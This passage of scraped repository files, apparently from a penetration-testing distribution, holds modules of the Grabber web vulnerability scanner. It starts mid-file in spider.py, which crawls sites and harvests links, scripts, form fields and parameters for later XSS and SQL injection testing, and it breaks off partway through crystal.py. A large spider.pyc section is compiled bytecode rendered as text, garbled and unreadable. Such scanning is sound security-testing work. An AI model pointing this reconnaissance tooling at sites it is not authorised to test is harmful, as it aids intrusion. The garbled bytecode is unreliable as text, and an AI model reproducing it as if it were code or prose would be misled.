database_url.append(goodA) # parse the CSS and the JavaScript script = SoupStrainer('script') #listScripts = [tag['src'] for tag in BeautifulSoup(htmlContent, parseOnlyThese=script)] listScripts = [] for tag in BeautifulSoup(htmlContent, parseOnlyThese=script): try: string = str(tag).lower() if string.count("src") > 0 and string.count(".src") < 1: listScripts.append(tag['src']) except TypeError: continue except KeyError: continue for a in listScripts: sc = giveGoodURL(a,currentURL) if sc not in database_js: database_js.append(sc) if sc == currentURL: # remote script database_ext.append(sc) parseJavaScriptCalls() link = SoupStrainer('link') # listLinks = [tag['href'] for tag in BeautifulSoup(htmlContent, parseOnlyThese=link)] listLinks = [] for tag in BeautifulSoup(htmlContent, parseOnlyThese=link): try: string = str(tag).lower() if string.count("href") > 0: listLinks.append(tag['href']) except TypeError: continue except KeyError: continue for a in listLinks: sc = giveGoodURL(a,currentURL) if sc not in database_css: database_css.append(sc) return True jsChars = ["'",'"'] def rfindFirstJSChars(string): b = [string.rfind(k) for k in jsChars] return max(b) regDumbParam = re.compile(r'(\w+)') regDumbParamNumber = re.compile(r'(\d+)') jsParams = ["'",'"','=','+','%','\\',')','(','^','*','-'] def cleanListDumbParams(listDumb): newDumbList = [] for w in listDumb: w = w.replace(' ','') w = w.replace('\n','') #l = [c for c in jsParams if c in w] # no jsParams if len(w) > 0 and regDumbParam.match(w) and not regDumbParamNumber.match(w): newDumbList.append(w) return newDumbList def unique(L): noDupli=[] [noDupli.append(i) for i in L if not noDupli.count(i)] return noDupli def flatten(L): if type(L) != type([]): return [L] if L == []: return L return reduce(lambda L1,L2:L1+L2,map(flatten,L)) def parseJavaScriptContent(jsContent): global database_url, database_ext, dumb_params """ Parse the content of a JavaScript file """ for l in jsContent.readlines(): for e in allowed: if l.count('.'+e) > 0: # we found an external a call if l.count('http://') > 0 and l.count(root) < 1: # External link et= '.'+e b1 = l.find('http://') b2 = l.find(et) + len(et) database_ext.append(l[b1:b2]) else: # Internal link et= '.'+e b2 = l.find(et) + len(et) b1 = rfindFirstJSChars(l[:b2])+1 database_url.append(giveGoodURL(l[b1:b2],root)) # try to get a parameter k = l.find('?') if k > 0: results = l[k:].split('?') plop = [] for a in results: plop.append(cleanListDumbParams(regDumbParam.split(a))) dumb_params.append(flatten(plop)) k = l.find('&') if k > 0: results = l[k:].split('&') plop = [] for a in results: plop.append(cleanListDumbParams(regDumbParam.split(a))) plop = flatten(plop) dumb_params.append(flatten(plop)) dumb_params = unique(flatten(dumb_params)) def parseJavaScriptCalls(): global database_js """ Parse the JavaScript and download the files """ for j in database_js: jsName = j[j.rfind('/')+1:] if not os.path.exists('local/js/' + jsName): # first download the file dl(j,'local/js/' + jsName) try: jsContent = open('local/js/' + jsName, 'r') except IOError: continue parseJavaScriptContent(jsContent) jsContent.close() def splitQuery(query_string): """ Split the num=plop&truc=kikoo&o=42 into a dictionary """ try: d = dict([x.split('=') for x in query_string.split('&') ]) except ValueError: d = {} return d def dict_add(d1,d2): """ Flatten 2 dictionaries """ d={} if len(d1): for s in d1.keys(): d[s] = d1[s] if len(d2): for s in d2.keys(): d[s] = d2[s] return d def dict_add_list(d1,l1): d={} if len(d1): for s in d1.keys(): d[s] = d1[s] if len(l1): for s in l1: d[s] = 'bar' return d def parseHtmlParams(currentURL, htmlContent): global database, database_css, database_js """ Parse html to get args """ for url in database_url: k = url.find('?') if k > 0: keyUrl = url[0:k-1] query = url[k+1:] if not keyUrl in database: database[keyUrl] = {} database[keyUrl]['GET'] = {} database[keyUrl]['POST'] = {} lG = database[keyUrl]['GET'] lG = dict_add(lG,splitQuery(query)) database[keyUrl]['GET'] = lG elif len(dumb_params) > 0: keyUrl = url # no params in the URL... let's assign the dumb_params if not keyUrl in database: database[keyUrl] = {} database[keyUrl]['GET'] = {} database[keyUrl]['POST'] = {} lG = database[keyUrl]['GET'] lP = database[keyUrl]['POST'] lG = dict_add_list(lG,dumb_params) lP = dict_add_list(lP,dumb_params) database[keyUrl]['GET'] = lG database[keyUrl]['POST'] = lP # then, parse the forms forms = SoupStrainer('form') input = SoupStrainer('input') listForm = [tag for tag in BeautifulSoup(htmlContent, parseOnlyThese=forms)] for f in listForm: method = 'GET' if 'method' in f or 'METHOD' in f: method = f['method'].upper() action = currentURL if 'action' in f or 'ACTION' in f: action = f['action'] keyUrl = giveGoodURL(action,currentURL) listInput = [tag for tag in BeautifulSoup(str(f), parseOnlyThese=input)] for i in listInput: if not keyUrl in database: database[keyUrl] = {} database[keyUrl]['GET'] = {} database[keyUrl]['POST'] = {} try: value = i['value'] except KeyError: value = '42' try: name = i['name'] except KeyError: name = 'foo' value= 'bar' continue lGP = database[keyUrl][method] lGP = dict_add(lGP,{name : value}) database[keyUrl][method] = lGP return True def runSpiderScan(entryUrl, depth = 0): global outSpiderFile print "runSpiderScan @ ", entryUrl, " | #",depth if outSpiderFile: outSpiderFile.write("\t\t<entryURL>%s</entryURL>\n" % entryUrl) scan(entryUrl) if depth > 0 and len(database_url) > 0: for a in database_url: runSpiderScan(a, depth-1) return False return True def spider(entryUrl, depth = 0): global root,outSpiderFile """ Retrieve every links """ if depth > 0: root = makeRoot(entryUrl) else: root = entryUrl # test if the spider has already be done on this website try: f = open("local/spiderSite.xml", 'r') firstLine = f.readline() f.close() if firstLine.count(root) > 0: alreadyScanned = True else: alreadyScanned = False except IOError: alreadyScanned = False print "Start scanning...", root if depth == 0: scan(root) else: if not alreadyScanned: outSpiderFile = open("local/spiderSite.xml","w") outSpiderFile.write("<spider root='%s' depth='%d'>\n" % (root,depth) ) runSpiderScan(root, depth) if len(dumb_params) > 0: outSpiderFile.write("<dumb_parameters>\n") for d in dumb_params: outSpiderFile.write("\t<dumb>%s</dumb>\n" % (d)) outSpiderFile.write("</dumb_parameters>\n") outSpiderFile.write("\n</spider>") outSpiderFile.close() else: print "Loading the previous spider results from 'local/spiderSite.xml'" # load the XML file regUrl = re.compile(r'(.*)<entryURL>(.*)</entryURL>(.*)',re.I) regDmb = re.compile(r'(.*)<dumb>(.*)</dumb>(.*)',re.I) f = open("local/spiderSite.xml", 'r') for l in f.readlines(): if regUrl.match(l): out = regUrl.search(l) url = out.group(2) database_url.append(url) if regDmb.match(l): out = regDmb.search(l) param = out.group(2) dumb_params.append(param) f.close() # scan every url for currentURL in database_url: try: archives_hDl = getContentDirectURL_GET(currentURL,'') except IOError: log <= ("IOError @ %s" % currentURL) continue try: htmlContent= archives_hDl.read() except IOError, e: continue except AttributeError, e: continue parseHtmlParams(currentURL,htmlContent) outSpiderFile = open("results/touchFiles.xml","w") outSpiderFile.write("<spider root='%s'>\n" % root) for i in database_url: outSpiderFile.write("\t<url type='anchor'>%s</url>\n" % i) for i in database_js: outSpiderFile.write("\t<url type='JavaScript'>%s</url>\n" % i) for i in database_css: outSpiderFile.write("\t<url type='MetaLink'>%s</url>\n" % i) outSpiderFile.write("</spider>") outSpiderFile.close() if len(database_ext) > 0: # alert of External calls outSpiderFile = open("results/externalCalls.xml","w") outSpiderFile.write("<external>\n") for i in database_ext: outSpiderFile.write("\t<call severity='high'>%s</call>\n" % i) outSpiderFile.write("</external>") outSpiderFile.close()
15,250
Python
.py
512
25.617188
120
0.647723
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,857
javascript.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/javascript.py
#!/usr/bin/env python """ Simple JavaScript Checker Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info - Look at the JavaScript Source... """ import sys, re, os from spider import htmlencode from xml.sax import * # Need PyXML [http://pyxml.sourceforge.net/] # JavaScript Configuration variables jsAnalyzerBin= None jsAnalyzerInputParam = None jsAnalyzerOutputParam = None jsAnalyzerConfParam = None jsAnalyzerConfFile= None jsAnalyzerExtension = None jsAnalyzerPattern = None # { 'FILENAME' : { 'line' : ['error 1', 'error 2'] } } jsDatabase = {} """ <?xml version="1.0"?> <!-- JavaScript Source Code Analyzer configuration file --> <javascript version="0.1"> <!-- Analyzer information, here JavaScript Lint by Matthias Miller http://www.JavaScriptLint.com --> <analyzer> <path input="-process" output="">C:\server\jsl-0.3.0\jsl.exe</path> <configuration param="-conf">C:\server\jsl-0.3.0\jsl.grabber.conf</configuration> <extension>js</extension> </analyzer> </javascript> """ def normalize_whitespace(text): return ' '.join(text.split()) def clear_whitespace(text): return text.replace(' ','') # Handle the XML file with a SAX Parser class JavaScriptConfHandler(ContentHandler): def __init__(self): self.inAnalyzer = False self.string = "" def startElement(self, name, attrs): global jsAnalyzerInputParam, jsAnalyzerOutputParam, jsAnalyzerConfParam self.string = "" self.currentKeys = [] if name == 'analyzer': self.inAnalyzer = True elif name == 'path' and self.inAnalyzer: # store the attributes input and output if 'input' in attrs.keys() and 'output' in attrs.keys(): jsAnalyzerInputParam = attrs.getValue('input') jsAnalyzerOutputParam = attrs.getValue('output') else: raise KeyError("JavaScriptXMLConf: <path> needs 'input' and 'output' attributes") elif name == 'configuration' and self.inAnalyzer: # store the attribute 'param' if 'param' in attrs.keys(): jsAnalyzerConfParam = attrs.getValue('param') else: raise KeyError("JavaScriptXMLConf: <configuration> needs 'param' attribute") def characters(self, ch): self.string = self.string + ch def endElement(self, name): global jsAnalyzerBin, jsAnalyzerConfFile, jsAnalyzerExtension,jsAnalyzerPattern if name == 'configuration': jsAnalyzerConfFile = normalize_whitespace(self.string) elif name == 'extension' and self.inAnalyzer: jsAnalyzerExtension = normalize_whitespace(self.string) elif name == 'path' and self.inAnalyzer: jsAnalyzerBin = normalize_whitespace(self.string) elif name == "analyzer": self.inAnalyzer = False elif name == "pattern": jsAnalyzerPattern = normalize_whitespace(self.string) def execCmd(program, args): buff = [] p = os.popen(program + " " + args) buff = p.readlines() p.close() return buff def generateListOfFiles(localDB, urlGlobal): global jsDatabase """ Create a ghost in ./local/crystal/current and /local/crystal/analyzed And run the SwA tool """ regScripts = re.compile(r'(.*).' + jsAnalyzerExtension + '$', re.I) # escape () and [] localRegOutput = jsAnalyzerPattern localRegOutput = localRegOutput.replace('(', '\(') localRegOutput = localRegOutput.replace(')', '\)') localRegOutput = localRegOutput.replace('[', '\[') localRegOutput = localRegOutput.replace(']', '\]') localRegOutput = localRegOutput.replace(':', '\:') localRegOutput = localRegOutput.replace('__LINE__', '(\d+)') localRegOutput = localRegOutput.replace('__FILENAME__', '(.+)') localRegOutput = localRegOutput.replace('__ERROR__', '(.+)') regOutput = re.compile('^'+localRegOutput+'$', re.I) print "Running the static analysis tool..." for file in localDB: print file file = file.replace(urlGlobal + '/', '') fileIn = os.path.abspath(os.path.join('./local', file)) cmdLine = jsAnalyzerConfParam + " " +jsAnalyzerConfFile + " " + jsAnalyzerInputParam + " " + fileIn if jsAnalyzerOutputParam != "": cmdLine += " " + jsAnalyzerOutputParam + " " + fileIn+'.jslint' output = execCmd(jsAnalyzerBin, cmdLine) # Analyze the output for o in output: lO = o.replace('\n','') if regOutput.match(lO): out = regOutput.search(lO) if file not in jsDatabase: jsDatabase[file] = {} line = clear_whitespace(out.group(2)) if line not in jsDatabase[file]: jsDatabase[file][line] = [] jsDatabase[file][line].append(normalize_whitespace(out.group(3))) # sort the dictionary # + file # + lines def process(urlGlobal, localDB, attack_list): """ Crystal Module entry point """ print "JavaScript Module Start" try: f = open("javascript.conf.xml", 'r') f.close() except IOError: print "The javascript module needs the 'javascript.conf.xml' configuration file." sys.exit(1) parser = make_parser() js_handler = JavaScriptConfHandler() # Tell the parser to use our handler parser.setContentHandler(js_handler) try: parser.parse("javascript.conf.xml") except KeyError, e: print e sys.exit(1) # only a white box testing... generateListOfFiles(localDB,urlGlobal) # create the report plop = open('results/javascript_Grabber.xml','w') plop.write("<javascript>\n") plop.write("<site>\n") for file in jsDatabase: plop.write("\t<file name='%s'>\n" % file) for line in jsDatabase[file]: if len(jsDatabase[file][line]) > 1: plop.write("\t\t<line number='%s'>\n" % line) for error in jsDatabase[file][line]: plop.write("\t\t\t<error>%s</error>\n" % htmlencode(error)) plop.write("\t\t</line>\n") else: plop.write("\t\t<line number='%s'>%s</line>\n" % (line, htmlencode(jsDatabase[file][line][0]))) plop.write("\t</file>\n") plop.write("</site>\n") plop.write("</javascript>\n") plop.close()
5,929
Python
.py
163
32.509202
102
0.690534
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,858
spider.pyc
pwnieexpress_raspberry_pwn/src/pentest/grabber/spider.pyc
—Ú -€ªMc'@sdZddkZddkZddkZddkZddkZddkZddklZlZddk l Z l Z dZ ddk ZdZdZdZddkZddk Z e iZeiÉZe iZdZdZhdd6ed 6Zd d d d ddddddddddddddddddd d!d"d#d$d%gZhagagagagagZgad&a da!hZ"x(e#d'ÉD]Z$d(e$e"e%e$É<qóWx&ei&ei'd)D]Z(e(e"e(<q Wd*e"d+<d,ÑZ)d-ÑZ*d.ÑZ+d/ÑZ,d0ÑZ-d1ÑZ.d2ÑZ/d3ÑZ0d4ÑZ1d5ÑZ2d6ÑZ3d7ÑZ4d8d9gZ5d:ÑZ6ei7d;ÉZ8ei7d<ÉZ9d8d9d=d*d>d?d@dAdBdCdDg Z:dEÑZ;dFÑZ<dGÑZ=dHÑZ>dIÑZ?dJÑZ@dKÑZAdLÑZBdMÑZCdNdOÑZDdNdPÑZEdS(Qs] Spider Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info iˇˇˇˇN(t BeautifulSoupt SoupStrainer(tURLErrort HTTPErrors cookies.lwpshttp://google.com/?q=you!s/Grabber/0.1 (X11; U; Linux i686; en-US; rv:1.7)s User-agenttReferertphpthtmlthtmtxmltxhtmltxhttxhtmtasptaspxtmsptmspxtphp3tphp4tphp5ttxttshtmtshtmltphtmtphtmltjhtmltpltjsptcfmtcfmltdotpytjstcssshttp://localhostis%%%02xs_,.-/t+t cCs"titdÑt|ÉÉdÉS(sP Returns the encoded version of the given string, safe for using as a URL. cSst|S((t _urlEncode(tc((s/pentest/grabber/spider.pyt<lambda>=st(tstringtjointmaptlist(ts((s/pentest/grabber/spider.pyt urlEncode9scCsèt}ti}titi|ddÉdÉ}xLtdt|ÉÉD]5}||}|||d dÉÉ|d||<qFWti|dÉS(só Returns the decoded version of the given string. Note that invalid URLs will throw exceptons. For example, a URL whose % coding is incorrect. R!R"t%iiiR&(tchrR'tatoitsplittreplacetrangetlenR((R+tmychrR/tpartstitpart((s/pentest/grabber/spider.pyt urlDecodeAs ! )cCs^|iddÉ}|iddÉ}|iddÉ}|iddÉ}|id d É}|S( s) Escaping the HTML special characters t&s&amp;t<s&lt;t>s&gt;s"s&quot;t's&apos;(R1(R+((s/pentest/grabber/spider.pyt htmlencodePs cCs^|iddÉ}|iddÉ}|iddÉ}|iddÉ}|id d É}|S( s+ Unescaping the HTML special characters s&lt;R:s&gt;R;s&quot;s"s&apos;R<s&amp;R9(R1(R+((s/pentest/grabber/spider.pyt htmldecode]s cCs∑d}ylt|Édjo|d|}ntititÉÉ}ti|Ét|dtÉ}t |É}Wn>t j o }dSt j o }dSt j odSX|S(s- Get the content of the url by GET method R&it?N( R3turllib2t build_openertHTTPCookieProcessortcjtinstall_openertRequesttNonet txheadersturlopenRRtIOError(turlR'trettopenertreqte((s/pentest/grabber/spider.pytgetContentDirectURL_GETjs c Cs¶yt|dÉ}Wn!tj otd|jnXy|iÉ}Wn>tj o}dG|iGHdStj od|GHdSXt||Ét||ÉdS(s∂ The Scanner is the first part of Grabber. It retrieves every information of the HTML page TODO: Reading in every href='' element for CSS and src='' for JavaScript / Image R&s IOError @ %ssCannot open the file,Ns)Grabber cannot retrieve the given url: %s(RORItlogtreadtstrerrortAttributeErrortparseHtmlLinkstparseHtmlParams(t currentURLt archives_hDlt htmlContentRN((s/pentest/grabber/spider.pytscanÄs   cCs+x$tD]}d||jotSqWtS(Nt.(tallowedtTruetFalse(tplopRN((s/pentest/grabber/spider.pytallowedExtensionsñs  cCs*t|Éo|d|idÉd!S|S(Nit/i(R_trfind(turlLocal((s/pentest/grabber/spider.pytmakeRootûs cCs9d|jo t|ÉSd|jp d|jo ||jo t|ÉS|Snt|Édjo t|ÉS|ddjo_d|joRt|É oDx.tD]&}d||jot||ÉSq£Wt|d|ÉSt|Ép d|jo#t|d|idÉd!|ÉSt|d|ÉSt|ÉS( sP It should return a good url... href = argument retrieven from the href... t javascriptshttp://shttps://iiR?RZR`(R>R3R_R[Ra(threfRbRN((s/pentest/grabber/spider.pyt giveGoodURL•s$     ,#cCsoy=ti|É}|iÉ}ttiid|ÉdÉ}Wntj otSX|i |É|i Ét S(s Download the file s./twb( turllibRHRQtopentostpathR(RIR]twritetcloseR\(t fileAdresstdestFiletftgtfile((s/pentest/grabber/spider.pytdl¡s "  cCs\|idÉ}|djo|d|d!S|idÉ}|djo|d|d!S|S(s@ Remove the phpsessid information... don't care about it now t PHPSESSIDiitsid(tfind(turlssidtk((s/pentest/grabber/spider.pyt removeSESSID–s  c CsÏtdÉ}g}xât|d|ÉD]u}yAt|ÉiÉ}|idÉdjo|i|dÉnWq%tj o q%q%tj o q%q%Xq%WxT|D]L}t||É}t |É}t |jo|t jot i|Éq•q•WtdÉ}g} xüt|d|ÉD]ã}yWt|ÉiÉ}|idÉdjo+|idÉdjo| i|dÉnWqtj o qqtj o qqXqWxY| D]Q}t||É} | t jot i| Én| |jot i| Éq∞q∞WtÉtd É} g} xât|d| ÉD]u}yAt|ÉiÉ}|idÉdjo| i|dÉnWq1tj o q1q1tj o q1q1Xq1Wx;| D]3}t||É} | tjoti| Éq±q±WtS( NtatparseOnlyTheseReitscripttsrcs.srcitlink(RRtstrtlowertcounttappendt TypeErrortKeyErrorRfRytroott database_urlt database_jst database_exttparseJavaScriptCallst database_cssR\( RVRXtlinkst listAnchorsttagR'RztgoodAR|t listScriptstscR~t listLinks((s/pentest/grabber/spider.pyRT‹sp    ,      R<t"cCs4g}tD]}||i|Éq ~}t|ÉS(N(tjsCharsRatmax(R't_[1]Rxtb((s/pentest/grabber/spider.pytrfindFirstJSChars s*s(\w+)s(\d+)t=R-s\t)t(t^t*t-cCsÑg}xw|D]o}|iddÉ}|iddÉ}t|Édjo2ti|Éo"ti|É o|i|Éq q W|S(NR"R&s i(R1R3t regDumbParamtmatchtregDumbParamNumberRÇ(tlistDumbt newDumbListtw((s/pentest/grabber/spider.pytcleanListDumbParams)s4cCsFg}g}|D]*}|i|Ép||i|Éqq~|S(N(RÅRÇ(tLtnoDupliRïR6((s/pentest/grabber/spider.pytunique3s<cCsLt|ÉtgÉjo|gS|gjo|StdÑtt|ÉÉS(NcSs||S(((tL1tL2((s/pentest/grabber/spider.pyR%=s(ttypetreduceR)tflatten(R•((s/pentest/grabber/spider.pyR¨8s  c Cs$x |iÉD]˝}xˆtD]Ó}|id|ÉdjoŒ|idÉdjo`|itÉdjoJd|}|idÉ}|i|Ét|É}ti|||!Éqd|}|i|Ét|É}t|| Éd}t it |||!tÉÉqqW|idÉ}|djo]||i dÉ}g}x*|D]"} |it t i | ÉÉÉqHWtit|ÉÉn|idÉ}|djoi||i dÉ}g}x*|D]"} |it t i | ÉÉÉq¡Wt|É}tit|ÉÉq q WtttÉÉadS(NRZishttp://iR?R9(t readlinesR[RÅRÖRvR3RàRÇRóRÜRfR0R§Rût dumb_paramsR¨Rß( t jsContenttlRNtettb1tb2RxtresultsR^Rz((s/pentest/grabber/spider.pytparseJavaScriptContent@s@ ,  %     cCsúxïtD]ç}||idÉd}tiid|ÉpYt|d|Éytd|dÉ}Wntj o qnXt|É|i ÉqqWdS(NR`is local/js/tr( RáRaRjRktexistsRsRiRIRµRm(tjtjsNameRØ((s/pentest/grabber/spider.pyRâgs c Cs]y=tg}|idÉD]}||idÉq~É}Wntj o h}nX|S(s; Split the num=plop&truc=kikoo&o=42 into a dictionary R9Rò(tdictR0t ValueError(t query_stringRïtxtd((s/pentest/grabber/spider.pyt splitQueryxs = cCsvh}t|Éo)x&|iÉD]}||||<q Wnt|Éo)x&|iÉD]}||||<qVWn|S(s Flatten 2 dictionaries (R3tkeys(td1td2RæR+((s/pentest/grabber/spider.pytdict_addÉs    cCslh}t|Éo)x&|iÉD]}||||<q Wnt|Éox|D]}d||<qPWn|S(Ntbar(R3R¿(R¡tl1RæR+((s/pentest/grabber/spider.pyt dict_add_listês   cCs7x_tD]W}|idÉ}|djoã|d|d!}||d}|tjo*ht|<ht|d<ht|d<nt|d}t|t|ÉÉ}|t|d<qttÉdjoó|}|tjo*ht|<ht|d<ht|d<nt|d}t|d}t|tÉ}t|tÉ}|t|d<|t|d<qqWtdÉ}tdÉ} g} t |d|ÉD] } | | që~ } xâ| D]Å} d}d | jp d | jo| d i É}n|}d | jp d | jo| d }nt ||É}g}t t | Éd| ÉD] } || qB~}x‘|D]Ã}|tjo*ht|<ht|d<ht|d<ny|d }Wnt j o d}nXy|d}Wn"t j od}d}q_nXt||}t|h||6É}|t||<q_WqÆWtS(NR?iitGETtPOSTtformtinputR{tmethodtMETHODtactiontACTIONtvaluet42tnametfooRƒ(RÜRvtdatabaseR√RøR3RÆR∆RRtupperRfRRÑR\(RVRXRJRxtkeyUrltquerytlGtlPtformsR RïRçtlistFormRpRÀRÕt_[2]t listInputR6RœR—tlGP((s/pentest/grabber/spider.pyRUöst       -3   icCsÇdG|GdG|GHtotid|Ént|É|djo:ttÉdjo'xtD]}t||dÉq^WtStS(NsrunSpiderScan @ s | #s <entryURL>%s</entryURL> ii(t outSpiderFileRlRYR3RÜt runSpiderScanR]R\(tentryUrltdepthRz((s/pentest/grabber/spider.pyRfl€s  cCsfi|djot|Éan|ayOtddÉ}|iÉ}|iÉ|itÉdjo t}nt}Wntj o t}nXdGtGH|djot tÉn |p°tddÉa t i dt|fÉt t|Ét tÉdjo@t i dÉxtD]}t i d|ÉqWt i d Ént i d Ét iÉnxd GHtid tiÉ}tid tiÉ}tddÉ}xí|iÉD]Ñ}|i|Éo/|i|É} | idÉ} ti| Én|i|Éo/|i|É} | idÉ} ti| Éq•q•W|iÉxótD]è} yt| dÉ} Wn$tj otd| jq>nXy| iÉ}Wn/tj o }q>ntj o }q>nXt| |Éq>WtddÉa t i dtÉxtD]}t i d|Éq¯WxtD]}t i d|ÉqWxtD]}t i d|Éq<Wt i dÉt iÉt tÉdjoYtddÉa t i dÉxtD]}t i d|Éq§Wt i dÉt iÉndS(Nislocal/spiderSite.xmlR∂sStart scanning...R£s<spider root='%s' depth='%d'> s<dumb_parameters> s <dumb>%s</dumb> s</dumb_parameters> s </spider>s?Loading the previous spider results from 'local/spiderSite.xml's!(.*)<entryURL>(.*)</entryURL>(.*)s(.*)<dumb>(.*)</dumb>(.*)iR&s IOError @ %ssresults/touchFiles.xmls<spider root='%s'> s <url type='anchor'>%s</url> s! <url type='JavaScript'>%s</url> s <url type='MetaLink'>%s</url> s </spider>sresults/externalCalls.xmls <external> s! <call severity='high'>%s</call> s </external>( RcRÖRitreadlineRmRÅR\R]RIRYRfiRlRflR3RÆtretcompiletIR≠RütsearchtgroupRÜRÇRORPRQRSRURáRäRà(R‡R·Rpt firstLinetalreadyScannedRætregUrltregDmbR∞toutRJtparamRVRWRXRNR6((s/pentest/grabber/spider.pytspiderËsö                 (Ft__doc__RhttimeR„tsysRjR'RRR@RRt COOKIEFILEtos.pathRFRCt ClientCookiet cookielibRHt LWPCookieJarREttxdatat refererUrlRGR[R”RÜRäRáRàt local_urlRÆRÖRfiR#R2R6R.tletterstdigitsR$R,R8R=R>RORYR_RcRfRsRyRTRìRóR‰RûR†tjsParamsR§RßR¨RµRâRøR√R∆RURflRÓ(((s/pentest/grabber/spider.pyt<module>sÜ  0                   B  '   '  A
15,657
Python
.py
157
98.324841
1,030
0.375008
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,859
crystal.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/crystal.py
#!/usr/bin/env python """ Crystal Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys,os,re, string, shutil from xml.sax import * # Need PyXML [http://pyxml.sourceforge.net/] from grabber import getContent_POST, getContentDirectURL_POST from grabber import getContent_GET , getContentDirectURL_GET from grabber import single_urlencode, partially_in, unescape from grabber import investigate, setDatabase from spider import flatten, htmlencode, dict_add from spider import database vulnToDescritiveNames = { 'xss' : 'Cross-Site Scripting', 'sql' : 'SQL Injection', 'bsql': 'Specific Blind Injection...', 'include' : 'PHP Include Vulnerability' } """ Crystal Module Cooking Book --------------------------- Make-ahead Tip: Prepare lots of coffee before starting... Preparation: 24 hours Ingredients: A: PHP-Sat B: Grabber Modules lambda Tools: A: Context editor B: Python 2.4 C: Nice music (Opera is not needed but you should listen this) Directions: 0) Read the configuration file (with boolean operator in patterns) 1) Scan the PHP sources with PHP-Sat handler (which copy everything in the '/local/crystal/' directory). 2) Make a kind of diff then: If the diff results, check for the patterns (given in the configuration file) Parse the PHP line under the end of the pattern Try to get a variable value <after> If no direct variable... backtrack sequentially or in the AST </after> 3) Generate the XML report of "the crystal-static-analysis" module 4) Build a database of: >>> transformed_into_URL(hypothetical flawed files) : {list of "flawed" params} 5) Run the classical tools """ # Crystal Configuration variables crystalFiles = None crystalUrl = None crystalExtension = None crystalAnalyzerBin= None crystalAnalyzerInputParam = None crystalAnalyzerOutputParam = None crystalCheckStart = None crystalCheckEnd = None # example: {'xss' : ['pattern_1 __AND__ pattern_3','pattern_2'], 'sql' : ['pattern_3'], 'bsql' : ['pattern_3']} crystalPatterns = {} # example: {'xss' : [{'var-position' : reg1}], 'sql' : [{'var-position' : reg2}]} crystalRegExpPatterns = {} crystalStorage = [] crystalDatabase = {} crystalFinalStorage = {} def normalize_whitespace(text): return ' '.join(text.split()) def clear_whitespace(text): return text.replace(' ','') # Handle the XML file with a SAX Parser class CrystalConfHandler(ContentHandler): def __init__(self): self.inAnalyzer = False self.inPatterns = False self.inPattern = False self.isRegExp = False self.curretVarPos= None self.currentKeys = [] self.string = "" def startElement(self, name, attrs): global crystalAnalyzerInputParam, crystalAnalyzerOutputParam, crystalPatterns, crystalCheckStart, crystalCheckEnd self.string = "" self.currentKeys = [] if name == 'analyzer': self.inAnalyzer = True elif name == 'path' and self.inAnalyzer: # store the attributes input and output if 'input' in attrs.keys() and 'output' in attrs.keys(): crystalAnalyzerInputParam = attrs.getValue('input') crystalAnalyzerOutputParam = attrs.getValue('output') else: raise KeyError("CrystalXMLConf: <path> needs 'input' and 'output' attributes") elif name == 'patterns' and self.inAnalyzer: self.inPatterns = True if 'start' in attrs.keys() and 'end' in attrs.keys(): crystalCheckStart = attrs.getValue('start') crystalCheckEnd = attrs.getValue('end') else: raise KeyError("CrystalXMLConf: <patterns> needs 'start' and 'end' attributes") if 'name' in attrs.keys(): if attrs.getValue('name').lower() == 'regexp': self.isRegExp = True elif self.inPatterns and name == 'pattern': self.inPattern = True if 'module' in attrs.keys(): modules = attrs.getValue('module') modules.replace(' ','') self.currentKeys = modules.split(',') if self.isRegExp: if 'varposition' in attrs.keys(): curretVarPos = attrs.getValue('varposition') else: raise KeyError("CrystalXMLConf: <pattern > needs 'varposition' attribute") def characters(self, ch): self.string = self.string + ch def endElement(self, name): global crystalFiles, crystalUrl, crystalExtension, crystalAnalyzerBin, crystalPatterns, crystalRegExpPatterns if name == 'files': crystalFiles = normalize_whitespace(self.string) elif name == 'url': crystalUrl = normalize_whitespace(self.string) elif name == 'extension' and self.inAnalyzer: crystalExtension = normalize_whitespace(self.string) elif name == 'path' and self.inAnalyzer: crystalAnalyzerBin = normalize_whitespace(self.string) elif not self.isRegExp and name == 'pattern' and self.inPattern: tempList = self.string.split('__OR__') for a in self.currentKeys: if a not in crystalPatterns: crystalPatterns[a] = [] l = crystalPatterns[a] for t in tempList: l.append(normalize_whitespace(t)) elif self.isRegExp and name == 'pattern' and self.inPattern: """ tempList = self.string.split('__OR__') for a in self.currentKeys: if a not in crystalPatterns: crystalRegExpPatterns[a] = [] l = crystalRegExpPatterns[a] # build the compiled regexp plop = normalize_whitespace(l) plop = re.compile(plop, re.I) l.append({currentVarPos : plop}) """ elif name == "patterns" and self.inPatterns: self.inPatterns = False if self.isRegExp: self.isRegExp = False elif name == "analyzer" and self.inAnalyzer: self.inAnalyzer = False def copySubTree(src, dst, regFilter): global crystalStorage names = os.listdir(src) try: os.mkdir(dst) except OSError: a = 0 try: os.mkdir(dst.replace('crystal/current', 'crystal/analyzed')) except OSError: a = 0 for name in names: srcname = os.path.join(src, name) dstname = os.path.join(dst, name) try: if os.path.islink(srcname): linkto = os.readlink(srcname) os.symlink(linkto, dstname) elif os.path.isdir(srcname): copySubTree(srcname, dstname, regFilter) elif regFilter.match(srcname): shutil.copy2(srcname, dstname) crystalStorage.append(dstname) except (IOError, os.error), why: continue def execCmd(program, args): p = os.popen(program + " " + args) p.close() def generateListOfFiles(): """ Create a ghost in ./local/crystal/current and /local/crystal/analyzed And run the SwA tool """ regScripts = re.compile(r'(.*).' + crystalExtension + '$', re.I) copySubTree(crystalFiles, 'local/crystal/current', regScripts) print "Running the static analysis tool..." for file in crystalStorage: fileIn = os.path.abspath(os.path.join('./', file)) fileOut = os.path.abspath(os.path.join('./', file.replace('current', 'analyzed'))) cmdLine = crystalAnalyzerInputParam + " " + fileIn + " " + crystalAnalyzerOutputParam + " " + fileOut # execCmd(crystalAnalyzerBin, cmdLine) print crystalAnalyzerBin,cmdLine os.system(crystalAnalyzerBin +" "+ cmdLine) def stripNoneASCII(output): # should be somepthing to do that.. :/ newOutput = "" for s in output: try: s = s.encode() newOutput += s except UnicodeDecodeError: continue return newOutput def isPatternInFile(fileName): global 